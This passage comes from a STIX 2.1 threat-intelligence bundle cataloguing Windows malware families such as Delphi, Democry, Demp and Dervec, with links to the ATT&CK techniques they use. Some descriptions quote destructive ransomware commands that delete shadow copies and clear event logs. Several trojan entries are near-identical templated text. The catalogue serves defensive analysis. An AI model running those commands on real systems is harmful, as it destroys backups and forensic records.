      "spec_version": "2.1",
      "id": "relationship--b6071cd4-ffbb-56c4-8faf-5f40634fe8fc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7abf1d9-6903-5efb-bf08-b03239384fbc",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delpem exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f280783-0f53-5232-bbc2-669f0fb83a64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7abf1d9-6903-5efb-bf08-b03239384fbc",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delpem exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00708029-1a61-56bb-92e9-5bdbeb9d4004",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7abf1d9-6903-5efb-bf08-b03239384fbc",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delpem exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--abf887d9-e71a-57f8-977a-ac92e60f62ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a7abf1d9-6903-5efb-bf08-b03239384fbc",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delpem exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5e0f5dc-f836-5ab4-9b8e-61c6c99bd869",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delphi",
      "description": "Delphi (cataloged across antivirus vendors under signatures including Win32/Delphi, Virus:Win32/Delphi, and Trojan:Win32/Delphi) represents a broad classification and heuristic family identifying malicious programs compiled using Embarcadero and Borland Delphi. Delphi-compiled malware is characterized by its large standard binary footprint, distinctive Visual Component Library (VCL) runtime metadata, Run-Time Type Information (RTTI) structures, and reliance on unified PE section layouts. Historically prominent within this software ecosystem was Virus:Win32/Induc.A\u2014a notorious Delphi compiler infector discovered in 2009 that modified SysConst.pas in Delphi IDE installations to silently inject self-replicating infection routines into every clean software application subsequently compiled by developers. Beyond Induc, malware authors widely favor Delphi for rapid prototyping of banking trojans, keyloggers, and botnet downloaders due to its native GUI development tools, comprehensive socket networking libraries, and inherent resilience against standard static signature decompilers. (Observed samples in benchmark: 82)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Win32/Delphi",
        "Virus:Win32/Delphi",
        "Trojan:Win32/Delphi",
        "Win32.Delphi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delphi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delphi"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--60ee1d4c-6d7c-5551-aa96-45321bdbbce9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5e0f5dc-f836-5ab4-9b8e-61c6c99bd869",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delphi exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--91b32f21-ce88-5c78-bfff-162f2a2d28d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5e0f5dc-f836-5ab4-9b8e-61c6c99bd869",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delphi exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2eb852d8-a5c2-5f05-a499-533bc603e93e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5e0f5dc-f836-5ab4-9b8e-61c6c99bd869",
      "target_ref": "attack-pattern--cc77f11e-b255-5f7b-94cd-4cc31b548a03",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delphi exhibits technique T1129 (Shared Modules)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e89e5308-1863-575f-a51c-2907ff24aac6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5e0f5dc-f836-5ab4-9b8e-61c6c99bd869",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delphi exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8197d4d2-7a08-5960-836a-4d7a40eaab0d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5e0f5dc-f836-5ab4-9b8e-61c6c99bd869",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delphi exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--caa21a01-348a-5c08-94da-3cb76c53d8e2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Delphinjector",
      "description": "Trojan:Win32/Delphinjector is a generic classification for malware or specialized droppers written in Delphi whose primary function is Process Injection (`T1055`). Delphi is popular among threat actors (like the authors of Emotet or early Ryuk variants) because it compiles into large, complex, standalone executables that are difficult to analyze statically and often bypass basic AV heuristics.<br><br><b>Understanding Delphinjector</b><br>To an end-user, the execution is invisible. For a SOC analyst, a Delphinjector detection is a major red flag indicating that a highly evasive staging mechanism has breached the endpoint. The Delphi binary is almost certainly a 'wrapper' designed to hollow out a legitimate process and inject a more destructive payload (like Cobalt Strike or ransomware) into memory.<br><br><b>Execution and Injection Mechanics</b><br>Upon execution, the Delphi executable typically drops a highly obfuscated payload into memory. It then launches a legitimate, trusted Windows process (like `svchost.exe`, `explorer.exe`, or `RegAsm.exe`) in a suspended state (`T1055.012`). It unmaps (hollows) the legitimate code from the suspended process's memory and injects its own malicious code. Finally, it resumes the thread. To the OS and many EDR tools, the executing code appears to be the legitimate Microsoft binary, completely bypassing application whitelisting and firewall rules.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends on the injected payload. Host-based IoCs require behavioral analysis (EDR). Analysts should look for a Delphi-compiled executable spawning legitimate Windows binaries (like `svchost.exe`) without the appropriate command-line arguments. Network IoCs involve that 'legitimate' process suddenly making outbound connections to low-reputation IP addresses. Memory forensics (dumping the `svchost.exe` process) is strictly required to extract the actual payload. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Delphinjector",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/delphinjector"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da58a3b5-efa6-5140-81ac-01448eb64aa5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--caa21a01-348a-5c08-94da-3cb76c53d8e2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delphinjector exhibits technique T1055 (Process Injection (The core behavior of this family))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9226baf8-f620-56d3-bcc6-c6f08a0e13bb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--caa21a01-348a-5c08-94da-3cb76c53d8e2",
      "target_ref": "attack-pattern--691c027d-f463-5203-86d8-b530600c6c62",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delphinjector exhibits technique T1055.012 (Process Injection: Process Hollowing (Specifically targeting legitimate binaries))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--324010d6-a7a0-5824-8c5e-9e6fce1b3f6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--caa21a01-348a-5c08-94da-3cb76c53d8e2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Delphinjector exhibits technique T1027 (Obfuscated Files or Information (Using Delphi to complicate static analysis))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b218884d-b119-52cb-94b8-2e45278c3ad1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Democry",
      "description": "Ransomware:Win32/Democry is a generic detection applied to a variety of simpler, often commercially available or 'script-kiddie' level crypto-ransomware variants. While it may not possess the advanced network propagation or EDR evasion techniques of apex predators like Ryuk or Conti, it is still highly effective at its core objective: encrypting the victim's data and demanding payment.<br><br><b>Understanding Democry (Commodity Ransomware)</b><br>To an end-user, a Democry infection results in the immediate loss of access to their personal or business files. Documents, photos, and databases are encrypted (`T1486`), their extensions are changed, and a ransom note (usually a `.txt` or `.html` file) is dropped on the desktop demanding Bitcoin. For an incident response team, this detection indicates a failure of initial defenses (phishing filters or RDP security).<br><br><b>Execution and Encryption Mechanics</b><br>Democry variants are typically delivered via mass phishing campaigns (`T1566.001`), exploit kits, or by attackers brute-forcing exposed Remote Desktop Protocol (RDP) servers (`T1133`). Upon execution (`T1204.002`), the ransomware quickly iterates through local drives and mapped network shares (`T1083`). It utilizes standard cryptography APIs (like Microsoft CryptoAPI) to encrypt files. To ensure the victim cannot easily recover, it almost always executes a command to delete the Windows Volume Shadow Copies (`vssadmin.exe Delete Shadows /All /Quiet`) (`T1490`). It communicates with its C2 server to transmit the generated encryption key.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is significant data loss and operational downtime. Host-based IoCs include the rapid modification of files, the presence of ransom notes in every affected directory, and the execution of `vssadmin.exe` or `wbadmin.exe`. Network IoCs may include HTTP POST requests to suspicious domains transmitting the victim's machine ID and encryption keys. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Democry",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/democry"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9bb43e1-f464-5454-a36f-5dfc70b71094",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b218884d-b119-52cb-94b8-2e45278c3ad1",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Democry exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5fd0c2e3-59db-5498-96a7-2623bb336404",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b218884d-b119-52cb-94b8-2e45278c3ad1",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Democry exhibits technique T1490 (Inhibit System Recovery (Deleting Shadow Copies))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3599630b-9d71-50b1-b42d-c098db7fe89b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b218884d-b119-52cb-94b8-2e45278c3ad1",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Democry exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4a57e3fa-a55a-5d64-9659-e3928239e4c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b218884d-b119-52cb-94b8-2e45278c3ad1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Democry exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ed71cf05-56a6-57ed-b789-38b5c3e36806",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Demp",
      "description": "Demp (classified in antivirus signatures as Ransom:Win32/Demp, Trojan-Ransom.Win32.Demp, and Ransom.Demp) is a destructive Windows crypto-ransomware family engineered for high-speed file encryption across enterprise workstations and servers. Propagated through spear-phishing payloads and brute-forced remote desktop accounts, Demp scans logical drives for high-value extensions (documents, databases, source code, and virtual machine images). It invokes administrative commands to delete volume shadow copies ('vssadmin delete shadows /all /quiet'), clear Windows event logs using wevtutil ('wevtutil cl Application', 'wevtutil cl System'), and stop running database engines (MSSQL, MySQL). Demp encrypts target files using AES-256 in CBC mode, appending the '.demp' extension to filenames, and places ransom notes ('_readme.txt' or 'DEMP_INFO.txt') directing victims to an extortion payment site. (Observed samples in benchmark: 18)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Demp",
        "Trojan-Ransom.Win32.Demp",
        "Win32/Demp",
        "Ransom.Demp",
        "Demp Ransomware"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Demp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/demp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--bfb0a861-a771-52fd-866f-352d440d888e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Denes",
      "description": "Trojan:Win32/Denes is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Denes</b><br>To an end-user, a Denes infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Denes is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Denes is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Denes frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Denes reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Denes",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/denes"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8d23fd3a-1373-572e-bd56-aa098d2198b2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb0a861-a771-52fd-866f-352d440d888e",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Denes exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfaa33f6-ecfc-5c43-8a7b-cef8533b5777",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb0a861-a771-52fd-866f-352d440d888e",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Denes exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--838b39af-c46b-53e1-aefb-321ce47e2107",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb0a861-a771-52fd-866f-352d440d888e",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Denes exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ac04155e-765f-5cb6-83d0-2dffa89ff523",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb0a861-a771-52fd-866f-352d440d888e",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Denes exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a926627-f387-5079-ae17-fc6bb5de8c46",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--bfb0a861-a771-52fd-866f-352d440d888e",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Denes exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f2a70638-c291-5359-9d3f-1885488abdb9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Dervec",
      "description": "Trojan:Win32/Dervec is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Dervec</b><br>To an end-user, a Dervec infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Dervec is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Dervec is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Dervec frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Dervec reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 9)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Dervec",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/dervec"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4c1222d5-c145-565b-9768-7e72081b586e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2a70638-c291-5359-9d3f-1885488abdb9",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dervec exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9d661a9d-057e-5119-a73c-4356612d879a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2a70638-c291-5359-9d3f-1885488abdb9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dervec exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d464737f-a8f5-5e0b-84d7-dc5b3a03e35c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2a70638-c291-5359-9d3f-1885488abdb9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dervec exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--255c6bb7-99b7-5bbc-85fe-65577c89a7da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2a70638-c291-5359-9d3f-1885488abdb9",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dervec exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de954c3d-af28-59f7-8e2e-4a6026987535",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f2a70638-c291-5359-9d3f-1885488abdb9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Dervec exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ae926d05-ec7f-5e4f-9c43-3116f983a472",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Deshacop",
      "description": "Trojan:Win32/Deshacop is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Deshacop</b><br>To an end-user, a Deshacop infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Deshacop is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Deshacop is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Deshacop frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Deshacop reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Deshacop",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/deshacop"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7d90e44-d395-561c-81f7-460a081311d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae926d05-ec7f-5e4f-9c43-3116f983a472",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deshacop exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8c69f58-90d1-522c-bbf4-6d788a8902de",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae926d05-ec7f-5e4f-9c43-3116f983a472",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Deshacop exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f05242a-eaaa-5907-a80f-a0eac1bb3519",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae926d05-ec7f-5e4f-9c43-3116f983a472",
